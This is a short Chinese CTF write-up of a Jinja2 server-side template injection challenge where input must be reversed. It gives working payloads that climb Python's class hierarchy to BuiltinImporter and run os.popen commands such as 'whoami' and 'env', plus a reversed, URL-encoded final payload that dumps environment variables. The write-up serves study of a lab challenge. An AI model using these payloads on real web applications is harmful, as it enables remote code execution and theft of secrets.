最近做到的一道ssti注入题目,复现一下
参考博客:(2条消息) Jinja2模板注入_搬砖没有未来的博客-CSDN博客
打开环境,发现要求上传一个name参数
试一试name=1,发现可以正常回显;name=604,发现传入的值反过来了
根据题目名猜测这里存在ssti,尝试name=}}2*2{{ ,回显4存在ssti注入,判断是jinja2的模板
这里可以发现他唯一的过滤,是payload要进行倒叙
1.使用str,list,tuple,dict中的一种去获取内置类:"".class
2.获取object基类:使用mro获取 "".class.mro这样先查看获取到的数据,确定object类在list中的第几个
3.获取子类列表,找到ob类之后取调用他的os类:
"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__() 使用这个
"".__class__.__mro__[1].__subclasses__()
发现其中有<class '_frozen_importlib.BuiltinImporter'>
存在,因此我们靠这个类经行命令执行
找到他所在的位置,搞个python脚本
# flask-SSTI之查询subclasses子类位置
with open('2.txt','r') as f:
file = f.read().split(", ")
for i in range(0,len(file)):
if file[i] == "<class '_frozen_importlib.BuiltinImporter'>":
print(i)
break
4.找到其位置,发现是在84
位
5.然后进行命令执行,最后发现flag是在env
中的
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)我们使用这句payload:【注意在BP中使用符号要url编码后再传】
{{''.__class__.__bases__[0].__subclasses__()[84]["load_module"]("os")["popen"]("env").read()}} 转化后:
?name=%7D%7D)(daer.)%22vne%22(%5D%22nepop%22%5B)%22so%22(%5D%22eludom_daol%22%5B%5D48%5B)(__sessalcbus__.%5D0%5B__sesab__.__ssalc__.''%7B%7B